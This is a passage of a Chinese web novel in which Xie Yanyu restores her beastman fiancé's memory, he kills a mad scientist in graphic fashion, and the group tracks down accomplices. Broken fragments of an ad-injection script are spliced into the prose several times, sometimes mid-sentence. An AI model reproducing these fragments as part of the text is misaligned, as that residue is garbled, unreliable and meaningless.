谢烟雨闭了闭眼,把视线挪开,趁一号把白胡子老头引得背过身的机会跑到实验台下。 她目光扫过台上的药剂,在看到某个药剂时眼睛微亮,正要伸手去拿,头皮突然发麻。 凭借直觉,她快速侧身躲过。 几乎在她闪开的瞬间,一只巨大的长满毛的长肢砸在了实验台上。 谢烟雨抽出手边的东西扔过去,被长肢灵活躲过。 长肢料定她躲不过,慢悠悠的靠近,操控它的白胡子老头更是嘻嘻笑道:“我的实验品不需要感情,只需要听话。” 他看着被困在六根长肢中的一号,冷哼着道:“上次你偷偷跑出去,我不跟你计较,回来还这么不乖就不应该了。” “我想 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 想,该怎么给你一个教训?”他怪笑着道,“该把你心上人的心脏挖出来让你吃呢,还是让你看着我把她做成失败的实验品呢?” “哎呀呀,每个选择听起来都好有趣啊~既然如此,那就先把她的心脏挖出来,再把她做成实验品,怎么样?” 六根粗壮的长肢拢成一个包围圈,将一号困在里面。 他看不见外面的情形,但也能从白胡子老头的话想象到,他没有再收力去管身上的伤,不知疲倦地冲撞长肢,企图找到破口冲出去。 谢烟雨没有回头,她盯着长肢往后缩,背部抵上冰冷的实验台。 她停下了动作,垂眸又抬起。面对死亡,她格外冷静,声音更加镇定,“一号,你恢复记忆了吗?” 有什么画面随着她的话冲进脑海,原本安静待着的画面受到冲击,剧烈晃动起来。 一号的动作停了会,紧接着更加用力破坏长肢。 谢烟雨一边提高音量,一边站起身,一字一句格外坚定,“你还知道,你是荣耀功绩满身的帝国第一上将吗?” 她靠近长肢,将手中调好的药剂扔出去,用力喊出最后一句,“你还记得,你是我的未婚夫秦宥吗!” 长肢被灼伤,下意识后退。 与此同时,一号浑身一震。 原本激荡的画面随着她的话安静下来,安顺地一幕幕掠过。 这一会他看清了,想起了所有,包括自己怎么来到这里,怎么失去记忆变成一号。 几乎在瞬间,他目光一定,调动身体内残缺的兽人之力,破开长肢的包围。 白胡子老头被余波冲击掀翻在地,他的八根长肢残了五根,都是被斩断,裂口处血肉模糊,痛得他面目扭曲。 “可恶!可恶!我好不容易洗掉的记忆居然被你三言两语唤了起来!” “啊啊啊!我要杀了你!” 完好的一根长肢随着他的话拐弯,猛地冲向正在拖保镖头子的谢烟雨。 谢烟雨一脚踹开保镖头子,滚到一边。 长肢戳在地上,凿了个深洞,比刚刚砸在实验台上的力度狠多了。 谢烟雨滚得不远,一些碎石被掀飞砸在她身上,带起痛意。 没能如愿完成目标的长肢被抽出,拐了个弯来寻她,离得近了,谢烟雨甚至能闻到到长肢上的血腥味。 她心中一凛,勉强躲过再次砸下来的长肢。 长肢钳在地上,在要出来的一瞬,谢烟雨眼疾手快地浇了一瓶腐蚀剂。 普通的药剂对长肢没有用,所以她加了点别的。 浇完药剂,谢烟雨下意识要滚开,但还没动作,就被一只利爪抓起搂在怀中。 她抬起头,和一双红色的眼睛对上视线。 秦宥还是狼的模样,他用吻部蹭了蹭谢烟雨,一个跳跃就将她送至门外,很快又将保镖头子和十三扔了出来。 谢烟雨知道自己这会不用再进去,就一手拉一个,硬生生将保镖头子和十三拖离战场。 实验室的门被重新关上,谢烟雨看到的最后一幕,是秦宥闪身至白胡子老头身前,抬起了利爪。 32. 熟人 “一号,我是你的主人!” 随着长肢断落,白胡子老头脸上的镇静消失得一干二净。 他一边往后退一边紧紧盯着秦宥。 秦宥扯了扯嘴角。 他忘了自己已经兽化,讽刺的扯嘴角像是露出利齿要将猎物撕咬致死的狠戾。 白胡子老头慌乱一瞬,转身就跑。 秦宥闪身上前,抬起利爪,狠狠地贯穿他的胸膛。 痛意如海啸席卷全身,白胡子老头眼神有一瞬间的涣散,很快,他目光聚焦,调动全身的力量往前,脱离秦宥的利爪。 完好的两根长肢挥舞着砸向秦宥,使他不得不往后退。 白胡子老头抓住这个机会往前一步,摁下墙上的装置。 做完这个举动,强撑的力气消失殆尽,他背过身靠在墙上,却支撑不住往下滑。 嘴角溢出的鲜血止都止不住,但他还是笑着,气息近无地张嘴。 “你死定了。” “不听话的实验品,跟我一起死。” “嘻嘻。” 秦宥往后退了一步,侧头看了眼实验室的门,关得又紧又牢,他心下稍安。 就在他回头的瞬间,有什么液体滴在了他头上,掀起一阵风,带着令人一个激灵的气味。 秦宥侧身闪过,身后又传来凌厉的风声,他翻身退至墙边,终于看清了眼前的状况。 白胡子老头把玻璃展柜全部打开了,绿色液体流了一地,里头的各种动物睁开眼睛,眼神具是冰冷。 一些还未出展柜就被一群动物攻击分食,血液四溅,皮肉横飞,伴随着作呕的吞咽声,秦宥皱起眉。 地上躺着的白胡子老头还没说上一句话,闻着血腥味冲出来的动物们奔至他跟前,张开了血盆大口。 他连忙举起一块黑色的石头晃动,动物们动作一顿,围在他身边绕圈,最后不甘心地吼叫几句,慢慢往后退。 他们的视线落在强大却受了伤的秦宥身上,慢慢地转过身,朝他逼近。 秦宥压下眉眼,四肢着地,从喉咙间发出一声浑厚有力的咆哮。 那些动物果然迟疑起来,眼前这匹狼似乎并不像他们想象中那样伤得厉害,甚至还有余力威慑他们。 秦宥吼叫完,眼神凌厉一扫。 他刚刚掏了白胡子老头的胸膛,身上又有伤,浑身是鲜血,连眼底也沾染上了,冰冷的红眸转动间闪烁着嗜血的光芒。 他没有等这些被改造过的动物们退下去,威慑完的第一时间就扑向离得最近的一只,张开利齿咬住脖子,一击毙命。 咬完,他抬起溅满鲜血的脸,慢慢地一一扫过在场的动物,喉间发出一声悠长的狼吟。 动物们犹豫着后退,却没有放弃,跃跃欲试地围在他身边。 秦宥缓了会,转身奔向白胡子老头。 白胡子老头连忙挥着断截的长肢抵挡,却没有起到任何作用。 秦宥势如破竹,这一次,他的利爪从正面贯穿白胡子老头的胸膛,一个用力,抓着心脏退出。 再抬眼,白胡子老头已经没有了气息,手中的黑色石头滚落在地,被秦宥一爪拍过去,碎了成渣渣。 心脏被扔在地上,刚刚还跃跃欲试的动物们却一动不敢动,连看都不敢看,低着头部表示自己的臣服。 这些动物都被改造过,被摘除了情感,杀伤力更甚,秦宥原先想杀死它们,但看到它们齐齐低头的一幕又停住了。 他吼叫几声,让这些动物记住不能出树林,只生活在这里。 为了增强自己的威慑力,他徒手捏爆了试图挑衅的一只动物。 其余动物的头几乎要埋进地底,身体更是僵得一动不动。 确认他们听懂之后,秦宥吼叫一声,这是让它们离开不要出现的意思。 动物们听见后抬起头,转身飞快地撞破实验室大门,一窝蜂地涌了出去。 秦宥走在最后,他化成人形,身上的衣服凌乱不堪,沾染着大片血迹。 手有些发抖,是疼,也是紧张,他不知道见到谢烟雨的时候该说些什么。 还没等他想好,已经走到了实验室门口,谢烟雨站在黑暗里,身边是刚醒过来的保镖头子和十三。 看见他,谢烟雨心下稍安,正要走过去,却发现余光里有什么白色的东西被扔了过来。 秦宥抬手击碎,侧头望过去,眼里带着未褪尽的杀意。 偷袭的一帮人哆哆嗦嗦地挪开了眼往后退,导致站在最前面的谢父格外突出。 谢烟雨眉头紧皱,他居然还活着。 秦宥也动了下眉梢。 他看了眼谢烟雨,身形一动,眨眼间出现在谢父身前,抬手抓住他的脖颈往上提起。 谢父脚不着地,脸瞬间变得发紫,他使劲掰着秦宥的手指,从喉咙中挤出字眼,“放、开、我、可、是……” 其余人吓得撒腿就跑,被保镖头子和十三拦住。 他们泡过药水,身上软绵,能用的力气全花在逃离玻璃展柜上了,根本不是两人的对手,很快就被绑了起来扔在地上。 谢烟雨冷眼看着,等谢父快要晕过去时,她拍了拍秦宥的臂膀,“放开他吧。” 秦宥不解地歪了歪头,但是依言松了几分力气。 谢父的脚碰到地板,发紫的脸庞逐渐恢复。 谢烟雨:“他是奉二皇子的意思来找你的,或许知道些东西,你要回军团,还得留着他,逼他供出二皇子。” 谢父还以为她是心软,没想到是为了这个,眼神一闪,当下也没有说自己什么也不知道,保持沉默。 但谢烟雨了解他,一个照面就知道他在想什么,顿时道:“他应该什么都不知道,杀了吧。” 说完,她背过身,让秦宥动手。 秦宥向来听她的话,闻言又紧了手上的力道。 谢父瞳孔一缩,窒息感渐渐涌了上来,模糊见,他看见谢烟雨转过身,似笑非笑地看着他。 她是真的想杀了他! 谢父攥紧了手,求生的欲望让他本能地求饶,“放、了、我......我可、以、做、假......” 谢烟雨唇角微勾。 谢父亲近二皇子众人皆知,说他不知道二皇子的计划谁都会猜忌。 秦宥要回军团,必须洗刷罪名,他为什么会在战场失踪,数万名士兵 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的死亡又怎么解释。 这时候,与这件事有关的高官的证词至关重要。 如果有个高官能在秦宥接受审判时站出来维护他,起码能争取到延判。 谢烟雨看了眼飙到50%的任务进度条,心跳得很快,她侧头看向秦宥。 秦宥没等到她的话,一直没有松手,眉眼冷凝,看向谢父的视线宛如死人。 谢烟雨安心了,都能帮她杀人了,站在她身后对抗谢家自然也可以。 她开口让秦宥放开谢父,后者像甩破布一样甩开谢父。 保镖头子和十三十分有眼力劲地上前,一个手刀劈晕谢父。 谢烟雨正要和秦宥说话,却看见他身体晃了晃,直直地向后倒去。 她连忙拉住人,保镖头子立刻上前将秦宥背了起来。 谢烟雨让他们把人弄出去,自己跑了一趟,在实验室找到一堆炸弹埋在这个地下室的各个角落。 这种非人实验室,就不该存在。 要是没有白胡子老头,以秦宥的能力,完全能回到帝都和苏铭碰面,很快平稳眼前局面。 引爆炸弹的时候,谢烟雨抬手捂住秦宥的耳朵,就像他做过的那样。 巨大的爆炸声中,她低下头,很轻很轻地蹭了下秦宥的发顶。 轰鸣声过后不久,联系上的保镖们赶了过来,其中夹杂着一个眼熟的身影。 谢烟雨诧异道:“安然?你怎么在这里?” 陆安然扎着高马尾,身穿运动服,一举一动格外利落,跟在保镖们的身后丝毫不落下风。 “我啊。”她笑着道,“我逃婚啦!” 回去的路上,陆安然讲述了她一路过来的惊险,最后道:“你给我的项链里有一副地图,我挑了个最落魄的地方,打算大展拳脚。” 谢烟雨却感觉到了不对劲,“那你为什么来木穹星?” “都说了随便挑的了......” 谢烟雨打断她,“克拉星和木穹星都是低级星球,何况克拉星盛产你喜欢的玫瑰。” 陆安然愣了一下,回想自己最初的目的地,确实是克拉星。 后来为什么回来木穹星......是她去找她哥的时候,他随口提了一句木穹星的现状,让她注意安全不要去。 陆安然怔住了,“可是,为什么啊?” “只能说明克拉星比木穹星更加危险了。”谢烟雨这么说着,心里升起的违和感却愈发浓烈。 当初她来木穹星的时候,好像也被人不经意地提醒了这么一句。 那个人...... 谢烟雨垂下眸,压下眼底的晦涩。 下意识地想到了莫名出手相帮的容萱以及第三军团,前面没有注意到的细节一一串联了起来。 第三军团是三公主徐袅的人! 她帮秦宥,是真的出于道义,还是说这整件事都在她们策划之内? 三公主多年不曾出现在人前,最近却频繁露脸,也是为了皇位吗? 谢烟雨看向一旁昏迷不醒的秦宥,舔了舔干涩的唇瓣,点开光脑给苏铭发消息。 无论是什么,秦宥在她这里都不是一个好的选项。 33. 留下 “谢小姐,你真的不和我们一起走?” 木穹星最偏僻的东边,苏铭像是听到了什么诧异的事情,不由得再问一遍。 谢烟雨看了眼躺在担架上昏迷的秦宥,抬起眼露出淡笑,“不了。” 秦宥昏迷不醒,盯着他的人不少。 谢父在苏铭手里,二皇子不知道消息不会轻举妄动,但三公主...... “第三军团那边......” “你放心,我暂且没有通知他们,一切等秦宥醒来再做决定。” 谢烟雨点头,“那就好。” 她侧头发现陆安然站在一边欲言又止,料想她有话跟自己说,“苏先生,我和我朋友说些话,麻烦你等一下。” 她托苏铭将陆安然带回帝都,她在这边并不安全,就算要展露拳脚,也得等时局稳定。 幸好陆安然与她意见一致,不然她可能劝不动人。 谢烟雨和陆安然走远了些,与苏铭等人隔了大约几米的距离。 陆安然抓住她的手,“谢烟雨,秦宥已经找到了,你还留在这里干什么?” “......这事很难解释。”谢烟雨无法告诉她,秦宥的命关系着她的,秦宥一死她也要死。 现在她的行踪已经暴露,留在这里吸引视线是让秦宥安全度过昏迷期最稳妥的办法。 其余的事,谢烟雨相信恢复记忆的秦宥能应对。 谢烟雨掠过这个话题,“安然,我希望你回去之后不要露面,更不要让任何人知道你回到了帝都。” 陆安然想到了什么,脸色微变,嗯了一声,“你是不是知道了什么?” “我什么都不知道。”谢烟雨说,“正因为我什么都不知道,我才无法做出判断。” 要是她真的知道了什么,还需要留在木穹星吸引视线吗。 陆安然明白了她的意思,沉默半晌,有些迟疑,“你......你做了这么多,要是秦宥醒来不救你,该怎么办?” 谢烟雨已经被搅进皇室相争的浑水,除非胜负已分,没有出来的可能。 她和谢父决裂,如今孤身一人,能护住她的只有秦宥。 但只要秦宥稍微不坚定地选择她,她就会成为皇室的出气筒。 谢烟雨知道她的担忧,但,“安然,我做这一切都是为了自救。” 要不是系统许诺让她无痛无灾地活一次,她是绝对不会冒险的。 就算秦宥最后真的不救她,她也不会有任何怨言。 从小谢烟雨就知道,人在世上这么一遭,能靠的永远只有自己。 面对陆安然不赞同的视线,谢烟雨垂下眼眸,压下心底的些许慌乱和烦杂。 “你有事可以找苏铭帮忙,看在我找到秦宥的面子上,他会帮你的。” 陆安然点了点头,不知还能怎么劝她,只能倾身拥抱她,“万事小心。” 谢烟雨笑了下,“嗯,我知道了。” 陆安然坐上星舰时,心里还在担忧,她攥着脖颈上戴的项链,目光望向秦宥所在的房间。 要是秦宥真的这么忘恩负义,那就她来救谢烟雨! 谢烟雨不知道她心中所想,见她上去后松了口气。 陆安然是她最牵挂的人,她希望她能平安无事。 苏铭垂眸看她,比起宴会那次,眼底的冷意已经全部褪去。 他真心实意地再问了一次,“谢小姐,你真的不跟我们一起走?” 于私,他当然希望谢烟雨留在这里吸引视线,但他怕秦宥知道后打死他。 于公,谢烟雨留下来是最好的办法,但她从前毕竟是养在帝都的娇贵大小姐,要是遇到危险可能连自保的手段都没有。 “多谢苏先生的好意。”谢烟雨拒绝了他。 谢烟雨联系他的那一刻已经做好了决定,他再问也只会得到拒绝。 苏铭不再问,“陈述,你跟着谢小姐。” 一个看起来身体孱弱的男人利落地跳下星舰,冲谢烟雨挥了挥手,笑道:“大主顾,第一次见面,容我自我介绍一下,我叫陈述,一般人喊我陈先生。” 谢烟雨瞳孔放大了一瞬,“陈先生?” 这不是她雇来跟着二皇子的私家侦探么! “没错,就是我。”陈述笑了下,走到她身边,伸出手,“多谢你对我业务能力的信任。” 谢烟雨无言,看着他的手半晌,实在握不下去,“所以,当时我让你调查秦宥,你给我的资料都是......” “都是真的。”陈述咧开嘴,露出一口大白牙,“我跟老大十年了,他啥事我不知道,给你的资料保真!” 这事苏铭还是第一次知道,嘴角微抽,“原来你那时候就开始赚外快了!” 陈述嘿嘿笑两声,看着谢烟雨,伸出去的手并没有回收,“谢小姐,隐瞒身份是不得已,接下来的这段时间,劳烦你了。” 谢烟雨终于把手搭了上去,“客气了。” 陈述收回手,脸上的笑容扩大,指了指里头坐着的陆安然,小声道:“她跑得很正确。” 谢烟雨顿了下,抬眼看他,后者仍旧笑着,仿佛什么都没说。 但谢烟雨的心一下得犹疑,这话是什么意思,二皇子做了什么,才会让他说出这种话? 还没等谢烟雨想下去,苏铭出声,“谢小姐,有事一定联系。” 他点了点光脑,又看了眼陈述,没有说话,但陈述与他多年兄弟,一个眼神就知道他什么意思,“知道了。” 苏铭冲谢烟雨点点头,转身上星舰,很快,悄无声息来的星舰又悄无声息地走了。 谢烟雨目送它消失在空中,才转头,发现陈述正拎着两个假发站在她面前,见她看过来立刻举起来问,“谢小姐,你觉得哪顶更贴近老大的形象?” 谢烟雨这才知道陈述留下来的意思。 短短十分钟,他把自己装扮成了第二个一号。 要不是谢烟雨知道一号不会有这样的眼神,真的会以为他就是一号。 陈述见她愣神,立马扬起一个大大地笑脸,“谢小姐,我的业务能力不错吧?” 谢烟雨点头,他笑得更开心,“那下次有活还要找我哦!” 陈述喜欢和谢烟雨合作,因为她给钱十分大方,这种有钱的大主顾,最好多来几个,他就能发财啦!'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 谢烟雨领着一帮人回到原先休息的店。 老板和她三个弟弟正面色愁苦地坐在柜台前,听见声音抬起头,瞬间眼前一亮。 老板跑出来仔细看了两眼,发现自己没眼花后笑得跟朵花似的,“哎呦,您可终于回来了!我们还以为......” 听说这帮人进了树林,老板简直要骂街。 那树林诡异得很,这帮人进去两天一夜,老板还以为她们死了,正想着要不容易来的大款没了,没想到还能看见她们出来! 老板对她们怎么出来的没兴趣,只关心她们还要在这里住多久,自己能拿到多少钱。 “准备点吃的。”谢烟雨没听她说下去,抬起手碰了碰她破旧的光脑,转了一笔钱过去。 陈述站在她身边,方才的笑意消失不见,取而代之的是一片冰冷,“小姐,你们先上去休息吧。” 谢烟雨听懂了他的意思,带着保镖们上楼。 她这次出门带了二十来个人,上次受伤的都让苏铭带回去了,现在身边只有十五个人。 不见了这么多人,是该好好说一说他们不见的原因,而且也得知道她们离开的两天里有没有发生什么事。 谢烟雨一帮人刚从实验室出来,压根打不起精神,陈述就成了最好的探听者。 等她们上楼后,陈述看向老板。 就如他所说,他跟了秦宥十年,对他一切都很熟悉,装起来几乎没有破绽。 此刻他转着红眸,慢慢地扫了一遍店内的样子,像极了秦宥刚来时的模样,没有人会怀疑他皮子底下是另一个人。 老板不知道为什么他不去休息,但也不蠢,猜到他应该是想问些什么,让兄弟三人去厨房做吃的,自己上前。 鉴于刚刚谢烟雨给的一大笔钱,她脸上的笑容没有落下去,并且主动询问,“这位客人,您还有什么需要的啊?” 接下来,在陈述有意无意地套话中,老板说了两天内发生的大事。 陈述听了面无表情,毕竟他刚来,也不知道谢烟雨是怎么把老大带出来的,一点也听不懂老板嘴里的什么酒吧躁动的事,只能暗暗记下,打算等会跟谢烟雨说。 见差不多了,陈述又把谢烟雨身边不见了这么多人的事说了,他语焉不详,让人听了害怕。 老板听了只以为那些人全死在树林里头了,心下顿时一紧,死了这么多个,该不会不住了吧? 她心里七上八下的,但看着陈述冷冰冰的脸也不敢问,只能假装担忧和伤心地安抚他。 陈述坐了会,听着她装模做样的安慰,想着谢烟雨应该差不多洗漱完毕,就对老板说,“吃的准备好了吗?” 老板立刻点头,“准备好了准备好了。” 说着,她转身进厨房端出清一色的素菜放在柜台上给她看。 陈述站起身端起托盘,“其余的给他们送过去。” 老板殷勤地诶了一声。 陈述上了楼,站在谢烟雨门前有些迟疑,他不确定谢烟雨是否听懂了他的暗示。 要是人洗漱完睡觉了,他敲门岂不是很尴尬? 正犹豫着,眼前的门被开了—— 34. 抓人 谢烟雨洗漱完一直在等陈述,好不容易听到这人的脚步声,却没有听见敲门声。 她略略一想,明白了他的顾虑,起身开门。 陈述站在门口,看见她还有些愣,很快反应过来,“谢小姐。” 谢烟雨看了眼陈述,让开位置,“进来吧。” 两人坐下,陈述把托盘推到谢烟雨一侧。 谢烟雨在树林里待了一天一夜,早就饿得前胸贴后背,拿起筷子开始吃,一边吃一边听陈述讲这两天发生的事。 听到酒吧的时候,她抬起头,“你是说,昨天酒吧里有人打起来了?” “嗯。”陈述回想老板的话,“打起来的有四个人,好像是因为钱的事。” 钱的事? 谢烟雨脑海里闪过实验室遇见的两个男人,“打起来的人长什么模样?” 陈述形容了一下,谢烟雨越听越像那两个男人。 只是,办事的就两个男人,怎么变成了四个人分赃不匀? 谢烟雨猛地起身,她一直忽略了一个人! 那个说见过秦宥并把保镖头子引到巷子里的男人! 谢烟雨沉浸在自己的思绪里,没有看见陈述诧异的目光。 昨天那个白胡子老头对秦宥的出现也不是很意外,似乎早有预料。 他们是一伙的。 谢烟雨扣着手心,总感觉什么东西呼之欲出。 他们故意散布见过秦宥的消息,是要引人过来......不!他们是想引秦宥过来!或者说,是白胡子老头想利用这种办法引秦宥过来。 这么一串,好像又没有什么问题。 谢烟雨皱着眉坐下,总觉得自己忽略了什么。 “谢小姐?”陈述开口,“你想到了什么?” “我......”谢烟雨回神,正要说话,却看见陈述手中正把玩着一个刻着山茶花的徽章。 那抹一闪而过的思绪被她抓住了,“陈先生,你们的徽章,都是不离身贴身戴着的?” “自然。”陈述点头,“对于我们来说,徽章就是身份,每枚徽章背后都会镌刻我们的姓名以及级别。” 谢烟雨问:“秦宥的也是?” 陈述点头。 也就是说,白胡子老头知道秦宥是帝国第一上将,但他还是对他做了非人实验。 他就不怕第一军团知道后过来灭了他吗?还是他笃定不会有任何人发现? 或者说,他和谁达成了交易,知道那个人会保他? 谢烟雨站起身看向陈述,“陈先生,我们出去一趟。” 如果能有证据证明,秦宥在站场上的失踪是有人刻意为之,那么他坑杀士兵的罪名就洗刷了一半。 陈述不明所以,但还是点头,只是道:“谢小姐,如果要出去,就把人都带上吧。” 陈述打开门,却发现门外站了一帮人,全是谢烟雨的保镖。 他有些讶异,侧身让开位置,谢烟雨走了出来,同样不解。 保镖头子说:“小姐,我刚想了想,我们守着那人的动作极为隐蔽,没有道理会被发现,所以打算去问问那小子。” 他说是问问,但手上拎着的袋子哗啦作响,发出铁具相碰时独有的声响。 谢烟雨默了默,“刚好,我也有话要问他,走吧。” 于是一帮人又离开了。 老板看见后以为大款带人走了,心痛得要命,不过也理解,毕竟人家在这里折了这么多个兄弟。 她不好开口留人,只能站在柜台看着大款越走越远。 此时的星舰上,苏铭给秦宥换了一套干净的衣服,找遍他的全身也没有找到属于他的那枚徽章。 苏铭啧了一声,坐在床边,喃喃自语,“有些难搞了……” 他目光滑落,看见了秦宥紧紧攥着的拳头,出于某些直觉,他上手强硬地掰开了秦宥的手。 里面只有一张泛黄的照片,还是张证件照,背面留有余胶,看起来像是从哪里扣下来的。 苏铭无语,“我真服了,你还偷拿人家照片!” 他没有动照片,把秦宥手心合上,免得他醒来找不到照片生气。 只是……秦宥的徽章到底去哪了? 另一边,谢烟雨和陈述等人来到男人家中。 谢烟雨已经确认了目标,没有必要和人客气了,敲门不成后,直接让保镖头子踹开门。 里头的母女吓了一大跳,哆嗦着身子挪到墙角,害怕地看着他们。 谢烟雨看见他们身上脏兮兮的衣物顿了顿,保镖头子问:“你们家男人去哪了?” 母女俩摇头,眼泪掉了下来。 谢烟雨让其余人出去,自己和陈述留下,“他害了我手下,我必须找到他。” 一阵沉默过后,缩在母亲怀里的女孩问:“……你,找到他,会打死他吗?” 她脏兮兮的脸上嵌着两只大大的眼睛,里头全是小心翼翼地期待。 谢烟雨:“你想我打死他吗?” 小女孩眼睛微亮,连连点头。 谢烟雨又看向默默流泪的女人,她对女儿惊人的言论没有发表意见,只是眼底满是哀伤。 似乎是谢烟雨这么一问起了作用,小女孩没有再哭,“这位姐姐,我妈妈不会说话,她的舌头被他拔掉了。” 陈述玩徽章的手一抖,见鬼似的看向小女孩。 被他拔掉了? 被女人的老公、小女孩的父亲拔掉了?! 他觉得自己似乎出现幻听了。 谢烟雨眉眼往下压了压,听见小女孩继续说:“他已经一整天没回来了,别人都说他在酒吧那边打架,真希望他被人打死了,这样我和妈妈就不会被欺负了。” 小女孩言语天真纯粹,却透着无尽的恶意与沧桑。 谢烟雨在她身上看到了当初的自己,沉重地闭了闭眼,道:“小孩,我打不死他,但是,我可以教你怎么打死他。” 小女孩眼前一亮。 陈述见鬼似得眼神挪到了谢烟雨身上。 谢烟雨:“世界上有种东西叫法律,它是对付坏人的利器,我会教你用这把利器对付他。” 小女孩点头,“好啊!” 陈述松了口气,还好。 谢烟雨让保镖头子留下来看着两人,自己带着其他人去找男人。 陈述走在她身旁,感觉身上凉飕飕的。 如果说刚才的谢 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 烟雨是迫切找人,那么现在的谢烟雨就是生气,而让她生气的人下场通常都很一般。 酒吧早上不开业,谢烟雨让保镖砸门。 保镖很听话,拎起铁棍就砸。 陈述站在一旁欲言又止,谢烟雨没有看他,却仿佛知道他心中所想,“闹得越大,就会有越多人相信我没找到秦宥。” 没找到,所以急了。 谢烟雨跟那帮人相处久了,自然知道他们固有的思维方式:高级星球上层从不把低级星球的人当人看。 闹得越大,他们反而越相信。在他们看来,谢烟雨是谢家人,谢家人自然也不把人当人看。 陈述明白了她的意思,可是又不太明白,“谢小姐,我以为你并不喜欢老大。” 谢烟雨顿了下,她原先确实不喜欢秦宥,但是后来…… “我做这些也不……” 她话还没说完,陈述已经接了下一句,“现在看来是我想多了,我就说你喜欢陆安墨那小子的事是假的,老大还不信!” “……什么?”谢烟雨懵了一下,什么叫做她喜欢陆安墨?天地良心,她连陆安墨的面都没见过! 陈述:“你几年前不是一直去陆家门口嘛,我们都知道。” “不是……你们怎么知道……” 谢烟雨刚想问,前面砸门的保镖回头道:“小姐,砸完了!” 她只好按耐下心思,抬头看向里头急匆匆赶来的人,是昨天在实验室里见过的,被叫做哥的那一个。 他留着寸头,满身夸张的肌肉,走起路来像一头笨重的熊。 他皱眉看着眼前的一帮人,“你们是谁?” 谢烟雨和陈述站在最前面,保镖们以两人为中心,围着一道弧形。 自从男人出现后,陈述就收起了脸上的表情,换上一副冷漠又漫不经心的模样。 男人视线略过他,瞳孔微缩。 这个变化被谢烟雨捕捉到,这些人果然知道一号就是秦宥! “你们想做什么!”男人又问了一一遍,声音里的怒意散了大半,多了警惕,夹杂着些许惊慌。 他见过一号,自然也知道一号的杀伤力有多么强大,只是他很疑惑,昨天他们竟然没有去实验室! 明明把人引过去了啊!那实验室是谁炸的? 白老怪吗? 不可能,他绝对不可能炸掉实验室! 那是谁?难道是那位发现了他们私藏秦宥做实验,生气了! 越想越有可能,男人额上冒出一层冷汗。 他们最大的倚仗白老怪死了,还惹怒了那位,现在一号也找了过来,横竖都是死,不如拼上一把! 他下了决定,抬起眼的眼里满是狠戾,“他妈的,去死吧!” 他猛地抬手撒了一包粉末,趁众人捂眼之际想溜走,没想到刚转身,一只手就搭在了他的肩上。 随即,头顶响起一道冰冷的声音,“想去哪?” 男人回头,撞进一双冰冷宛如深洞的红色眼眸中,身体瞬间一哆嗦。 片刻后,男人被绑在椅子上,谢烟雨坐在对面,陈述站在她身后,漫不经心地把玩着一把匕首。 “说吧,秦宥在哪里?” 35. 被抓 “什么?!你们不知道他就是......” 话没说完,满身肌肉的男人就意识到了不对劲。 这帮人压根不知道一号就是秦宥,可一号又分明就站在那个女人身后! 按照白老怪的说法,他给一号清洗了记忆,一号不记得任何东西。 但这个女人认识一号又不知道秦宥?还千里迢迢地跑过来找? 这未免可太可笑了! 真的太可笑了! 肌肉男总算知道她们绑住自己是想干什么了。 这真的是太好了!他有救了! “秦宥在树林里!”他说,“树林有个白胡子老头,我们都叫他白老怪,是他把秦宥抓起来了!” 谢烟雨眯了眯眼,陈述也看了过去。 “他为什么要抓秦宥?” “因为他是疯子啊!”肌肉男像是想到了什么可怖的事情,浑身颤抖起来,“他就是个疯子!” “他在地底建了个实验室,每天都把自己关在里头研究什么兽人,他抓人就是想把动物基因弄到人身上,通过改造让人成为兽人。” “他抓了好多人,但是那些人都死了,他们承受不住都死了!” “除了秦宥,秦宥活了下来,他真的造就了一个兽人!” 肌肉男眼底闪烁着什么,“可是他也造就了个变态!我亲眼看见秦宥一拳打死了白老怪!” 这话听起来像是真话,说不定是秦宥逃走的时候发生的事,可如果白老怪当时就死了又是怎么复活的? 谢烟雨:“白老怪死了?你不是说秦宥还在他手上吗?” 肌肉男一个激灵,似乎想起自己处于什么境地了,眼底的情绪缓慢褪去,整个人清醒不少。 “他确实快死了,但是没死透,他让我给他注射了药剂,之后......他的后背就长出了八根长肢,跟蜘蛛一样。” 肌肉男咽了咽口水,“......他就又活了,把秦宥抓起来,困在实验室,不信的话,我带你们去看看。” 只需要一管药剂就能将人变成兽人,听起来跟天方夜谭似的。 若不是亲眼所见,谢烟雨也绝对不会相信。 她想起自己埋炸弹时找到的资料,她封好交给了苏铭,让他转交给秦宥,不知道秦宥看见之后会做什么样的抉择。 谢烟雨抬起头,“做这种实验,总会失败吧?失败的人会变成什么?” 肌肉男目光闪烁,“当然是烧毁了。” 烧毁了?不可能。 谢烟雨等苏铭的时候让人检查过了,在那树林里除了异种和秦宥放出去的动物就没别的了。 她眉梢微挑,正要说话,突然想到了什么,心种惊疑不定,猛地看向肌肉男,“异种?他们会变成异种?!” 肌肉男眨了眨眼,想说什么,但是对上谢烟雨震惊却笃定的目光后失了声,眼底闪过一抹心虚。 她猜对了!那些失败的东西就是异种。 谢烟雨脸色难看,异种是前几年才出现的产物,没有人知道它们是从哪里冒出来的,长得像人,却用四肢爬行,还喜欢吃生肉。 这么说来,这几年白老怪都在源源不断地生产异种。 不仅生产人形异种,还生产动物异种。 可他一个老头子,整天待在实验室里,怎么找到的这么多人,又是谁,帮他找到的这么多人? 有个答案呼之欲出,压得谢烟雨喘不过气,她看向肌肉男,语气发沉,“你到底是谁的人?” 肌肉男见她如此,也大约知道她的来历不简单,更加不想说话。 他就是一个亡命之徒,谁给钱,他就替谁卖命。 “小姐,这人不跟我们说实话,我们也没有必要跟他耗着了。” 一直没有开口的陈述把握住匕首,目光冰冷地扫视着肌肉男,语气透着一股狠戾。 他听不下去了。 陈述总算知道老大为什么回不来了,原来是被这帮煞笔弄过去做实验了。 可恶的是,这煞笔不仅拐走了老大,还拐过很多很多人! 今天不把这煞笔弄得求生不得求死不能,他陈述就跟他姓! 谢烟雨并不擅长审问,见陈述开口,想了想后便点头。 陈述军团出身,想必比她更了解怎么才能从别人嘴里撬出真话。 陈述见她这么快答应,眼睛微亮。 他真的越来越喜欢谢烟雨了,这个姑娘不仅长得好看,脑瓜子也好使,最重要的是,她还听得进建议,这可太难得了。 